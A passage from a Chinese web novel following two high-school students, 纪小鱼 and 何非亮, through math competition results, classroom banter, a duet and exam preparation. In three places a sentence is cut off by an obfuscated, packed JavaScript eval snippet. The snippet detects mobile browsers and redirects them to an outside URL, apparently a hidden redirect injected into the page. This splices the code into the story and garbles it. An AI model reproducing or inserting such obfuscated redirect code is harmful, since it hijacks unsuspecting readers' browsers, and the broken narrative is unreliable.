哀鸿遍野中,纪小鱼也跟着装模作样地拉了拉何非亮的衣袖—— “诶,这次考的好难哦,比往年多了好多没见过的创新题耶!考前复习到的都没考,没复习到的都考了!怎么办,哎呀,我觉得我现在一点把握都没有了!”纪小鱼掩面佯哭,嘴角却禁不住荡漾出了扩大的笑意,就差把“我超有把握”这五个大字明明白白地写在脸上了。 “咳咳咳咳咳,”纪小鱼连忙带出一阵咳嗽,故作自然地用手腕盖住了没能成功压制住的唇角,一直憋了好一阵才把这笑容勉强地收回去了一点,“咳咳,那个,你感觉,你考得怎么样啊?” “别担心,我和你一样。”何非亮顺手揭下了落在纪小鱼发间的一朵花瓣,眼里流露出了些许促狭的笑意,“我也是考前复习到的都没考。” “真的?”纪小鱼狐疑地问。 “真的,我考前没复习。”何非亮一本正经地说。 “咳咳咳咳咳咳!”纪小鱼这下是真的在咳嗽了——我恨! “哎呀,”何非亮矫揉造作地在纪小鱼的背上拍了拍,一边虚伪地关怀道,“小鱼,你没事吧?你不用为我担心,我虽然没复习,但是不代表我不会啊,你别紧张。” 纪小鱼咳得更厉害了。 在断气,啊不,岔气的边缘,纪小鱼弓着腰,涨红着脸,终于拼命止住了咳。他愤愤地握紧了双拳,抬起头,目光咄咄地望向了何非亮,“行!下午,下午就出成绩了,我倒要看看,倒要看看……” “呵呵,吃菜、吃菜,”何非亮圆滑地岔开了话题,“烧腊味道不错。” - 复试的赛程称得上紧锣密鼓。上午考试,中午午休,下午则先是一个冗长的会议,然后就到了紧张刺激的出分环节。 这会议纪小鱼听得心不在焉、昏昏欲睡,只能大概分辨出:开头的一名教授引经据典、谈古论今,层层递进,讲解了“什么是数学,数学的重要性,以及学数学的必要性”;另一名教授则言之殷殷、情之切切,不厌其详地介绍了“什么是Z大,Z大的优越性,以及毕业以后报考Z大的必要性”。 “诶,”纪小鱼左手托着愈发沉重的脑袋,右手拿胳膊肘轻轻地撞了撞坐在身边的何非亮,小小声地问道,“你以后想上什么大学啊?” “随便。”何非亮一边淡定地回答,一边头也不抬地在手边的草稿纸上写写画画。 “随便?好敷衍的答案哦,才不信咧……”纪小鱼不满地嘀咕道,目光却禁不住被何非亮笔下恢弘的场景所吸引—— 城市断壁残垣的上空,凶恶的巨龙张开了遮天蔽日的双翼俯冲直下,欲开的嘴里似乎憋着一口能直接燃烧至世界终结的吐息。在这千钧一发之际,潜伏在云层里的小天使丘比特,弯弓搭箭,以爱神之名悄悄瞄向了巨龙。 纪小鱼瞠目咋舌,被扑面而来的某种力量轻微地震慑住了。 很难相信这幅画是单靠何非亮一只手、一支笔便能完成的作品。纪小鱼有点不安地抠了抠自己的掌心,心想还好何非亮从来不参加绘画比赛,自己在这一方面简直毫无胜算。 “这幅画是什么意思?”纪小鱼睁着亮晶晶的眼睛好奇地猜道,“唯有爱能与末日抗衡?” “真正的画家从来不解释自己的画。”何非亮气定神闲地说。 哇靠,好装逼! 纪小鱼碰了一鼻子灰,气得不知道该干点什么,只好先独自一人生一会闷气。 好在这闷气还没生太久,就有一位看上去德高望重的老教授,拿着一个锈迹斑斑的保温杯和一个皮质的笔记本,走上了演讲台。他清了清嗓子,言简意赅地宣布道,“下面由我来为大家公布本次复赛的结果。” 这下大家可都醒了,纷纷正襟危坐,翘首以待。 没想到等来的却先是一波滔滔不绝的考情分析。 “这次复试中,考生们展现出的水平相较去年又更上一层楼,深刻地体现出了我省基础数学学科教育教学水平的整体提高。” “一直以来,我省致力于……#%?@^改革……?%@^创新……屡创佳绩……” 众人再度陷入昏迷。 纪小鱼倒是一点也不困了,他的眼睛明亮得像是黑暗中的烛火,热烈得甚至有了点咄咄逼人的意味。 他仔细分析着听到的每一句话,抓住每一个关键词浮想联翩—— 诶,这个教授嘴里说的,那个在本次考试中表现出不俗实力,令在场所有阅卷老师都为之感慨和欣慰的学子,莫非就是我吗!? 啊对对对,我记得,有那么一题我用的就是教授提到的“非线性方程的不动点迭代”来解,很好,至少那一题的思路肯定就没问题了。 哎呀,怎么办,这次考得我都会! 一会我拿了第一名,啧啧,肯定是要去找何非亮炫耀的。我还要和他说——“你好,想知道我为什么这么牛逼么?呵呵,不好意思,不告诉你!因为,真正牛逼的人从来不解释自己的牛逼!” 啊哈哈哈哈哈!好爽哦! 哎呦,心跳都有点加速了! 哎呀,怎么还不公布结果哦?啊,教授,祝您花开富贵、福寿绵延,您就别卖关子了吧!拜托拜托! …… 大概纪小鱼的诚心感动了上天,屏幕上终于滚动出了在本次比赛中获得省二等奖的名单——很好,安全了,没有自己的名字。 再然后,是省一等奖的名单—— 纪小鱼拼命压住逼近嗓子的惊叫。 啊啊啊啊啊,天啊,一等奖里的第一个,一等奖里的第一个是我!!! 虽然一等奖有很多个,但是一等奖里的第一个名字,竟然、竟然真的就是自己! 这代表着,毫无疑问这代表着,他就是那个一等奖里的第一名!!!第一名!!! 呜呜呜,太激动了!功不唐捐、玉汝于成,感谢父母生出了如此迷人的我,感谢老师培养出了如此聪明的我,感谢我的粉丝慧眼识珠,感谢我的同伴鼎力支持,感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425494|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢我自己——从来没有放弃过向上的努力和追求! 呜呜呜,那个名字——那个排在第一的名字,真的指的就是我吗? “我我我我、我的这个名字是我爸妈随便取的,”纪小鱼哆哆嗦嗦地抬起食指指向自己的鼻尖,“随便成这个样子应该不是、不是很容易撞吧?” “恭喜你呀小鱼。”何非亮温和地朝他笑了笑,“一等奖里的第一名,好厉害哦!” “那必须得厉害呀!”纪小鱼美滋滋地乐了一会,忽然惊道,“诶?何非亮,怎么、怎么一等奖里没有你的名字啊?” 他睁大了双眼,难以置信地盯向电子屏幕,一直把一个一个名字都仔细瞧过了——还真的没有,没有何非亮的名字……啊,这…… 纪小鱼心里“咯噔”了一下,震愣中仿佛感受到了什么东西正在不受控制地往下沉,有一种既真实又恍惚的、不是滋味的赌气和难过,“喂,你不会是真的没复习吧!?你、你这个大傻瓜,你怎么可以不复习?这次考的其实都是历届真题的变形,你不复习怎么可以呢?古人云:‘温故而知新’,你不知道吗?你看你,天天就知道装逼,现在翻车了吧?” “对不起,我错了。”何非亮向着纪小鱼眨了眨眼睛,诚恳地保证道,“下次一定复习。” “还有下次吗?”纪小鱼向下抿了抿唇,“你又不是不知道,只有在复赛中得了一等奖的,才有资格参加决赛……” 呃,等等…… 纪小鱼说着说着,话语像崴了脚一样忽的一顿。 等等,等等,这事不对劲啊! 比赛结果只有一、二等奖是公布的,没公布的就代表拿的是保底的三等奖了。 而刚才在二等奖的名单里,可以肯定的是,绝对没有看见何非亮的名字。 这、这不可能啊!以何非亮的水平,就算他完全没有复习,也不至于沦落到只拿一个鼓励奖回家吧? 张朝显然也注意到了公布的名单里没有某人的名字,春风满面地朝何非亮瞅了过来,笑容里似有幸灾乐祸的得意。 吕天明也回过头来,摆出了一脸的震惊。纪小鱼与他困惑不安的目光对视上,耸了耸肩,用眼神示意自己也不清楚这到底是什么情况。 啊,对啊,平时被严老师批评得最狠的张朝还有吕天明都拿了一等奖诶,虽然他们俩难兄难弟的名字挨在一起,同处于获奖名单的尾巴…… 这……这实在是不科学呀!何非亮可以比我考得差那么一点点,可是他怎么可能没拿到一等奖呢?不会是、不会是主办方给漏掉了吧? “诶,你、你要不要去问一下,”纪小鱼磕磕巴巴地说,“可能,呃,你那个,是不是忘记写名字了?” “写了哦。”何非亮淡定一笑。 “大家安静一下,”台上老教授在一片躁动声中,突然慈祥地开口,“下面,我代表本次复赛的主办方,特别要表扬一位同学。他在本次的考试中展现出了坚实的数学基础、严谨的解题逻辑,及优秀的思维能力,以无可挑剔的作答获得了满分的好成绩。组委会一致同意,为他特别颁发此次比赛的——特等奖!” “他就是,来自S中的——何非亮同学!” “小鱼,太好了,”经久不息的掌声中,何非亮拿着特等奖的奖状,朝纪小鱼挤了挤眼睛,“你看,又有下次了。” 纪小鱼:“@&%?#……Hehe!he,hehehehe[1]!” 84.第八十四章 人间四月 又回到了熟悉的教室,又坐在了熟悉的座位上。 窗明几净,桌椅俨然。懒懒的风吹动窗帘,黑板上誊抄着课表。 上课、下课、午休。 上课、下课、放学。 约莫黄昏将近的时候,广播里放出了飘渺的歌声。 今天播的第一首,应了春天的景,只是平白的有一点淡淡的忧愁—— “窗外春意渐深千花似成阵 忽过一道东风落英又缤纷 花树下行人语笑晏晏 人间时节匆匆不觉已经年 花开花谢愿君惜取 花尽随风莫问归途 情真情切未敢轻诉 情深意长自笑糊涂 ……” 听着听着,纪小鱼不由地停歇了笔,朝窗外望去。 三角梅开得还是那样的好,沿着二楼的墙面流淌,恍若粉白的花溪。更远处是操场,朱砂的跑道新漆着亮白的分界线,一圈一圈环绕住绿茵的草场。橘黄色的夕照下,有人在风里踩着影子一步一步地朝前慢跑,有人坐在灰白的石板高台上朝天际眺望,也有人三三两两地并肩而行,谈天说笑。 说起来S中的确是一个很美的地方,也许在很多年以后也仍会怀念。 昨天经历的复赛挺像是一场梦。梦醒了,一切又一如往常。 哦,也不能说是完全一样—— “小鱼子——”何非亮大摇大摆地把他空了的水杯伸过来,在纪小鱼眼前晃荡。 唉,是这样的,复赛中纪小鱼遗憾落败,根据赌约,他要忍辱负重地帮何非亮打上整整一个学期的水才可以。 何非亮这个麻烦精,不但没有见好就收,反而得寸进尺,贱兮兮地把自己的杯子换成了小一号的——这样每天就能使唤纪小鱼多跑几次腿了。 啊,这实在是……T_T 新一期的校刊赫然刊登上了对诸位参赛同学的赛后专访。其中,纪小鱼同学显得最为激动,他表示——《老人与海》里曾经说过“一个人可以被毁灭,但不能给打败!”不管经历了怎样的挫折,他,永远会坚持把赌注all in在自己的身上! 对此,记者社社长卓影同学评论道:昔时,黄帝征炎帝于阪泉之野,三战而得其志。今纪小鱼竟能百折不挠,是为后生可畏也。 …… “学神哥哥,你好强哦!!!”蒋小胖怀抱着校刊,从文科班里跑来,对着何非亮一顿夸夸,“这一期的校刊,我好不容易才抢购到的,都卖断货了!校刊上你的照片好帅哦!嘿嘿,不过,还是你的本人更帅啦!天呐,你怎么可以这么帅还这么有实力的?这可是省赛啊!救命,省赛还能拔得头筹,这也太太太强了吧!” “哼。”纪小鱼从鼻腔里不轻不重地喷出了一口气。 “嘿嘿,小鱼,”蒋小胖连忙把目光转向了纪小鱼,真诚地说道,“你也顶呱呱!一等奖耶!真了不起!这个成绩我是做梦也不敢梦啊!我每次做梦,如果梦见的是考数学,那必定只能是一个噩梦。” “胖啊,”纪小鱼抚摸着下巴,缓缓开口,“我们认识到现在,掐指一算,已有五年了吧?” “是哦,”蒋小胖的眼睛里流露出了一丝伤感,“如果不是你当年路见不平、拔刀相助,我还不知道要被欺负到什么时候呢……” “哎呀,小事一桩、不足挂齿!咳,只不过,我想和你说的是——”纪小鱼语重心长地说,“这人呢,不能只看脸,也不能只看学习成绩,你懂吧?” “懂。”蒋小胖郑重地点头。 “很好!那你再仔细思考一下,凭你这么多年来对我的了解,我和何非亮的这个综合实力,究竟是谁更强呢?” “啊,这个问题……”蒋小胖沉吟片刻,眼睛忽然一亮,“哦,我知道了!我打算用一首歌来表达!” 啊,小胖还会唱歌了吗?纪小鱼奇道,“什么歌,快唱来听听?” “那、那我开始唱啰——”蒋小胖清了清嗓子,一对圆亮的眼珠在撑开的单眼皮里左右移动,先是紧张兮兮地瞄了瞄何非亮,然后又神秘兮兮地瞄了瞄纪小鱼。 这样以后,他的两只手竖起了大拇指,十分有节奏感地上下晃动,同时一展歌喉—— “都都都强,都都都强, 都都都强都强都强! 都都都强,都都都强, 都都都强都强都强!” 纪小鱼:“……” 何非亮:“……” 大家面面相觑了一会,忍不住笑出了声来。 - 前些天刮来一阵北风,下了一场冷雨,气温骤寒;这些天太阳又格外热辣,衬得万物生辉、日子敞亮,隐然有提前入夏的趋势。 四月就这样在乍暖还寒间踏入了尾声。而五月,令人振奋的五月,则终于到了即将闪亮登场的时候—— 啊?你问五月有什么? 五月有五一小长假呀!!! 哎呀,美哉美哉!足足五天假呢! S中的空气里处处洋溢着快活的气息。 然而,每逢佳节前夕,学校文印室的打印机也就开始了辛勤的劳作,从天不亮一直冒烟到傍晚太阳下山。 语文八张卷、数学十五张卷、英语二十张卷……发到手里的时候竟然还都是温热的。 枯黄的卷子像落叶一样堆积,不一会儿就占据了整个桌面。 不得了!这是每一科老师都在发力,势必要封死大家在假期里所有的闲暇缝隙啊!(;゜0゜) 莘莘学子,人人叹息;见者伤心,闻者流泪。 “老师,”一片怨声载道中,终于有小同学敢于哭丧着脸直言进谏道,“假期作业能不能少一点啊?” “怎么,”严老师镜片后的双眼显然透露出了不太高兴的意思,“劳动节你还想偷懒啊?” 只有何非亮是这一浩劫的漏网之鱼。因为他在月考中再度取得了全年级第一的好成绩。根据S中校规的第一百零一条,年级第一可以不用写假期作业。 “小鱼,”何非亮悠闲地提议道,“假期要不要——” “啥也别说了,没空!”纪小鱼干脆利落地掐断了何非亮的话茬。此时此刻他正拼命地写着刚发下来的卷子,忙得那叫一个不可开交,恨不得能生出三头六臂……嗯,三头六臂不够,得要有六头六臂——这样就刚好每一个头负责一个科目的学习。 “好吧,”何非亮似是惆怅地叹了口气,“唉,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430249|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我只好一个人去中心书城买题了。” 买题!? 纪小鱼的耳朵敏锐地动了动——什么?何非亮说他要去干嘛来着?买题??? 这、这怎么可能呢? “啪嗒”! 纪小鱼的大脑死机重启中…… “你——”重启后的纪小鱼僵硬地扭转脖颈,犹疑地盯住了何非亮的脸,“你刚才说什么?我没听清。你说你要去买——” “买题。”何非亮又重复了一遍。 四下突然变得安静,只剩了天花板顶悬着的风扇还在“嘎达嘎达”地转,纪小鱼目瞪口呆地陷入了迷茫。 呐尼?这不是在做梦,也不是出现了幻听? 啊,这……何非亮说他要去买题,这无异于……呃,一时半会想不出什么恰当的比喻,总而言之这是一个令人震悚的事件,大概……大概类似于某个NBA巨星突然宣布自己要改打乒乓球了? 奇了怪了,没道理啊!何非亮难道转性了?他不当偷学狗了?他要光明正大地去买题了? 他不装了??? 嗐,算了……不纠结了!新闻里的母猪都能上树,何非亮怎么就不能约我去买题了呢?也许就那么刚好,他脑子里的哪根神经突然搭错了呢?重点不应该这个,重点应该是—— 俗话说得好,“知己知彼,百战不殆”!如果我能知道何非亮买的是哪几本习题…… “咳咳,我想我有必要向你重新介绍一下自己,”纪小鱼意气风发地撩了撩自己额前狂拽酷炫的风之碎发,顺带着又朝何非亮挤了挤自己魅力十足的光之左眼,终于沉着嗓音,声情并茂地开口道,“其实,在我英俊潇洒、玉树临风的外表背后,还有另一重神秘的身份,那就是——中心书城尊贵的钻石VIP!哦呵呵呵呵,你找我买题就对了!我一句话,整个书城的题都得给你打八八折!” “你不是没空吗?”何非亮撩起眼皮,要笑不笑地瞅着纪小鱼。 “哦,呵呵,我刚才说的那个没空是暂时性的,暂时没空!”纪小鱼尴尬地搔了搔脸,转眼间又殷勤地笑出了一口白牙,“哎呀,你看,这不还没放学吗?可我放学以后就有空了呀!我明天有空,后天有空,大后天也有空!我这一整个假期都很有空!” “那就明天早上十点?” “那就明天早上十点!”纪小鱼高兴地说。 何非亮似是满意地,微微勾起了唇角。 气氛一时非常友好。 可随即,何非亮竟然就这么自顾自地拿起了桌面上空掉的水杯,在纪小鱼的眼前不怀好意地晃了起来,“小鱼子~” “……”纪小鱼像被狠狠地噎住了一样,好半晌才咬着牙,压抑住了自己其实很想要痛痛快快地抄起水杯和何非亮大干一架的冲动。 他深深呼吸,终于迫使自己挤出了一点零星的假笑,“好嘞亲,这就给您倒去!” …… “诶,你怎么突然想到要去买题了啊?”放学的路上,纪小鱼终于还是好奇地问了出来。 “啧,我本来也不想的。”何非亮无奈地摊了摊手,“可没办法,做人要讲诚信。复赛的时候答应了人,下次一定复习。” 纪小鱼:“???” 85.第八十五章 黄昏冒险 五月,木棉花化作满城风絮,茫茫如雪。 这些天经过高三教室的时候,总是不敢出声,连脚步也加快了。 因为哪怕是在课间,高三教室窗玻璃背后透出来的,也是扑面而来的肃杀,和近乎悲壮的凛然。 都说高考是没有硝烟的战争呵。但当这场战争的倒计时终于不断逼近至尾声时,四下其实只剩了一派了无生气的寂静。没有鸣金击鼓,没有喊打喊杀,没有铁马冰河入梦,只有暴风雨前长久的、足以令人窒息的疲惫和麻木。 唉,木棉的花絮,在风里漂泊沉浮许久了,依然不知道要去往哪里。 自诩万物灵长的人呢,又可有明明白白的方向? 唉,高考,说起来也就差不多是明年这个时候的事情了! 纪小鱼被周围充满压迫的气氛感染,忍不住忧心忡忡地拉了拉何非亮的衣袖,“诶,你说万一咱俩没考上大学可该怎么办啊?” “呃……”何非亮沉默了一会,斟酌地开口道,“你说的大学,单纯是指那两所吗?” “哎呀,就是世界上所有的大学!我是说万一嘛!” “好吧,”何非亮无奈地笑了笑,“事已至此,我只好亲自创办一所大学了。” “哈?”纪小鱼忍不住笑出声来,“什么?您自己创办大学?这么了不起的吗?嘿呦,亏您想的出来!好吧,您创办的这所大学叫什么名字啊?” “嗯,”何非亮微一沉吟,“就叫‘名牌大学’吧。” 纪小鱼笑得更欢了,脑海里几乎已经脑补出了一出好戏—— 【 三姑六婆大军支棱着耳朵由远及近,为首的嘴角边长了一颗特别显眼的媒婆痣(下文简称“媒婆”)。 媒婆:“哎呀,小鱼啊,瞧瞧,都长这么大了!你小时候我还抱过你咧!哎呀,听说你学习蛮好蛮好,最后考上什么大学了啊?” 纪小鱼:“名牌大学。” (ˉ▽ ̄~) 三姑六婆(齐声道):“哇塞,是名牌大学!” 】 哈哈,这样想想感觉还真不赖耶! “那就这么定了!”刚才那一点烦恼的情绪被一扫而空,纪小鱼轻快地拍了拍何非亮的肩膀,“要是真的有那么个万一,贵校一定要录取我哦~” “你直接当我们‘名牌大学’的教授。”何非亮豪爽地钦点道。 - 六月,雨线绵绵,连缀着天和地。老人们说这是“龙舟水”,是楚人纪念屈原的泪流。 S中的教室都被征用作了高考考场。纪小鱼原本以为自己能像高一的时候一样,白蹭三天高考假,没想到张校长竟然大手一挥,重金盘下了学校附近酒店的豪华大礼堂,供高二年级同学自习使用。 “不比得以往,你们现在已经是准高三的学生了,这学习是一分一秒也再不能耽误了!”张校长深情地抹了抹眼角,追悼着为了包下礼堂而逝去的经费,“唉,我这做校长的,也只能帮各位同学们到这里了。也不知道将来谁能明白我的这份苦心。” 这下,一整个高二年级的同学都欢聚一堂了。 偏偏老师们大多都被派去监考,独留下两位看上去才刚毕业、还有着腼腆双眼的年轻老师在此把守…… 啊,不要说学习了,就差明目张胆地开一个联欢会了。 比如,文科班的行列中,就充满了欢声笑语,期间还有一包薯片在沿着座位流传。 再比如,F班的陈典同学已经在一片起哄声中表演腹肌和倒立了。 更有甚者,当E班的两位课代表一起去台上领作业,踏着红毯准备把试卷下发给班里的同学时,竟然有好事之徒用蓝牙连接酒店礼堂的喇叭,播放出了一首抒情浪漫的《婚礼进行曲》。大家不分班级都哈哈大笑,两位课代表在众人祝福的目光里窘迫得面红耳赤。 A班也好不到哪里去。几个小同学耳机一戴,谁也不爱,就这么开始低头看剧了。 …… 张校长的经费在燃烧。 …… 在这样热闹嘈杂的环境中,纪小鱼竟然能够埋头苦学、奋笔疾书——啊,这也是没有办法的事情,七月份还有数学竞赛的决赛呢!复赛已是往事,成败在此一举!如果能够在决赛中打败何非亮,那才真是扬眉吐气、一雪前耻,足以在若干年后的自传《我超爱的我》中大书特书! 啊,我记得那些个夜晚—— 一轮明月二两霜,一盏孤灯四壁寒。 一间陋室八方静,一腔壮志九回肠。 但使一朝能折桂,十年辛苦不嫌忙! 啊,我也珍惜每一个白天—— 我爱学习!我要写题! 打败何非亮!拼了! 啊啊啊啊啊啊!!!! 斗志燃烧,纪小鱼身后冒出熊熊烈火。 火舌吞吐,气势非凡。前后左右,有被灼烧者,数不胜数。 唯独坐在纪小鱼身边的何非亮,却仿佛一座远古的冰川、一道静深的长河、一种防火的绝缘体,任凭火势如何汹涌蓬勃,他也屹然与这样炽热的温度保持着泾渭分明的界限。 那光那焰在何非亮的身侧久攻不下、折戟沉沙,只好散作袅袅烟气,转而又去晕染他唇畔出尘的笑意了。 - 屋外大雨依旧倾盆,豪壮得像是一场不管不顾地宣泄。亿万颗雨珠串连成密密麻麻的雨线从天而降,劈打向屋檐,冲刷着墙垣,积聚成板砖路面上的潺潺溪流,凭借一腔孤勇前仆后继,试图洗净诸天诸地的每一个角落。 白茫茫一片的雨幕里,平日拥挤的城市也显出了空旷。 只是,不管多大的雨——世界模糊了,最粗壮的树干也在风里震颤摇摆——考场外也永远有披着雨衣驻守的背影在等着盼着,恍若苍白画卷上几笔渺小的、寥落的、彩色的竖线。可怜天下父母心。 唉,不知明年今日,又会是怎样的一番景象呢? 不过,礼堂里这帮明年今日就要奔赴战场的“准高三”学子们,倒是不慌不忙,顽性难改,今朝有酒今朝醉,嬉笑打闹照旧。 只可惜这样混乱美好的时光终究只持续了一个短暂的上午。准高三的诸位同学们竟然不能够自律自觉的行迹不幸败露,张校长痛心不已,连忙增派八员大将严整纪律。礼堂里这才平和了下来,表面安稳地度过了三天中剩下的时光,直到星期五的放学时分—— 这下谁也管不住谁了! 大雨滂沱拦了回家的路,大家都不约而同地选择在礼堂里多待一会。 一个临时的乐队被组建起来,在台上敲锣打鼓、引吭高歌。 鬼哭狼嚎,实在让人抓不住唱的具体是什么。 一声声粗狂地撞入耳中,唯有那么零星的几句勉强可以辨别—— “ 悲伤吗?何妨痛哭流涕 愤怒吗?那就歇斯底里 狂欢吗?权当是场游戏 生来的七情六欲为何要选择逃避 …… ” 纪小鱼在充满节奏的韵律中,心算方程、徒手开根。 突然就有人起哄,让何非亮也献唱一首。 这下就连纪小鱼也当机立断地不写题了,嬉皮笑脸地加入到了起哄的队伍。 何非亮:“???” “快上去吧你!”纪小鱼奸笑着,突然就胆大包天了起来,生拉硬拽着何非亮的胳膊把他拖到了台上。 “呵,有本事就一起呗。”何非亮冷漠地反扣住纪小鱼的手腕不让他下台。 纪小鱼:“???” 这下起哄声更是几乎要爆炸了。 天呐,两位财主老爷又要发钱了!台下的卓影激动得简直要哭出来了,“摄影组,各就各位!突发事件!一级突发事件!” “唱什么?”纪小鱼尴尬地搔了搔脸。 “你说呢?”何非亮反问。 “一起唱的话,只能唱咱俩都会的。但是——呵,”纪小鱼骄傲地扬起了下巴,双眼熠熠生辉,“我会唱的可太多了,你我就不知道了,所以还是让给你挑吧。” 何非亮脑海中浮现出某天某夜纪小鱼在音乐教室里唱过的虎狼之歌,什么“美国的飞机”啊、“树下的猩猩”啊,狠狠地沉默住了,半晌,才诚恳地承认道,“确实,你喜欢的歌,啧,怎么说呢,品味清奇。” “哼,”纪小鱼不服气,“明明是你欣赏水平有限!” “那你选?” “我选就我选!” 纪小鱼的脑海里顿时就蹦出了三个选项: A. 把艺术节的时候,A班合唱的歌搬出来,再唱一遍; B. 唱老少咸宜、雅俗共赏的时代金曲《好一支牙膏》; C. 《Adventure in the Dusk》; 嗯,A的话可以考虑,先保留。B?不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435111|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是吧,为什么会出现选项B?划掉、划掉!赶紧划掉!C……嗯…… 纪小鱼拍板道,“就唱《Adventure in the Dusk》!” “啊?” “就那首——那天晚饭前你在家自弹自唱的那首。我没听过,问你,你就说是你自己随便写的那首。” “哦,那首啊。”何非亮慢吞吞地应了一声,眼睛里划过一点奇异的闪光,“好吧,亏你还记得。” “切,拜托你不要小瞧我的记忆力好吧!”纪小鱼一边说着,一边抱起了吉他,“我还会弹呢!” 音符像细碎的金子在指尖跳动,连带着他们俩交织的歌声也镀上了星星点点的余晖—— “ In the sunset I heard you say 黄昏的时候我听见你说 ‘What if we go on an adventure today?’ ‘不如我们今天去冒险吧’ Maybe we won’t miss the stars in the wild 也许我们不会错过野外的星 Or the beauty the city has long been denied 和这座城市早已不在的风景 No matter how much I long for the past 无论有多么怀念的过往 Time rewinds only in memories that last 时间也只在残存的回忆里倒带 But as we keep making new journeys 可若我们继续踏上新的旅程 May I always carry you in reverie 但愿我的心里永远记挂着你 Don’t worry, dreams can be our wings 别担心梦会做我们的翅膀 Don’t hesitate, youth is a fleeting thing 别犹豫青春转瞬就要消逝 For our lives, no one can make the answer 这一生没有人能替我们解答 In the dusk, choose a path 在黄昏里,选一条路 Let’s take off boldly 我们就勇敢地起飞吧 ……[1] ” 就这样勇敢地起飞吧。 纪小鱼和何非亮相视一笑。 - 雨过天晴。空气里四散着泥土和青草的气息。 “喂,何非亮,”纪小鱼快活地蹦跶在前面,一边不忘回头奚落道,“你说你——雨停了还打什么伞?磨磨唧唧的,也不嫌麻烦!” “呵呵。”何非亮稳稳当当地撑着伞,不为所动。 一点晶莹的迹象在青翠的树叶尖凝聚、垂悬、积蓄成更大更饱满的一滴、拉长,终于带着沉甸甸的凉意,“吧嗒”一声砸在了一位叫做“纪小鱼”的过路人头上。 纪小鱼:“#@#^%!!” “哇!好气哦!”纪小鱼捂着脑袋,冲进何非亮的伞檐,朝他显露出了狰狞的爪牙,“喂!说!是不是你指使的!” “是的。”何非亮淡定地弯了弯唇角,勾出一丝略带嘲讽的笑意,“不过,这么点小事你也要计较么?磨磨唧唧的,也不嫌麻烦。” “哇呜!”纪小鱼觉得自己要被气晕了。不过,刚走了两步他好像就忘记了自己为什么要生气,转而换上了一副大大的笑脸,胡言乱语了起来,“嘿,我们去冒险吧!去苹果树瀑布、去波萝蜜群岛、去克罗地海洋!诶,你喜欢弹的那首《克罗地海洋》真是你自己编的吗?那个歌名是什么意思啊?” “无可奉告。”何非亮酷酷地说。 “除非——” “除非什么?”纪小鱼急忙追问。 “哎呀,小鱼,”何非亮伸出五指遮在唇边,懒懒地打了个哈欠,“你还是先关心关心期末吧?期末考试要来了,不是吗?” 86.第八十六章 我没看见 考试是当代高中生关于时间的坐标。 周测代表着一周过去了,月考代表着一个月过去了,期中考试代表着半个学期过去了,即将到来的期末考试则代表着一整个学期都将要过去了。疲惫像瘟疫一样四处蔓延,到处都是打不起精神的重症患者。只有纪小鱼似乎变异出了某种神奇的抗体,他的身上有着不熄的活火。 旷日持久的雨水不能浇灭,仲夏正午的骄阳也难掩其芒。这火燃烧,一直到期末考试的前夕,仍有着炽热无畏的温度。 “一节晚自习写完了三套卷子,”何非亮左手闲闲地撑着下巴,目光慢悠悠地落在了坐在旁边正忙活得不可开交的纪小鱼身上,不知是戏谑还是欣赏地感慨道,“真不愧是‘绩效鱼’啊!只可惜——” “可惜什么?”这话成功地引起了纪小鱼的一点警觉。他一边对答案一边追问,手里红笔的笔尖闪烁出锋锐的银芒,在纸页上划出一道道爽利的声响。 “可惜了今晚的夜色。”何非亮一副要笑不笑的样子。 “嘁!夜色有什么好可惜的,”纪小鱼趁着给试卷翻面的间隙,朝何非亮翻了个巨大的白眼,“不是每天都有吗?” “哎呦,”何非亮促狭地弯了弯眼尾,“小鱼,你这样想的话,明天早上的语文考试可就大事不妙了。” “语文考试?唔!”纪小鱼下意识地捂了捂自己的心口,觉得那里好像被戳到了。 一个人如果明天就要期末考试了,那么他的今天应当做些什么呢? A. 坐立不安 B. 坐以待毙 C. 做白日梦 D. 做总复习 答案毫无疑问,当然是选C,啊不,是选D啰! 考前复习的人,运气不会太差! 运气太差的人,考前更要复习! 但是——唉,天知道,语文究竟该怎么复习! 必背诗词早已烂熟于心,阅读理解也曾努力理解。其他的,好像就只能交给临场发挥了。可这样,和其他科目相比,终究是少了点那种稳操胜券的、握在手心里的、坚定的、镇静的、踏实的掌控感。 唉,真头疼啊!到底怎样才可以在这门课上也拥有稳稳的幸福哦? “那么请问,”纪小鱼终于停住了手里的笔,侧过头往何非亮的方向望去,“你有什么高见呢?” 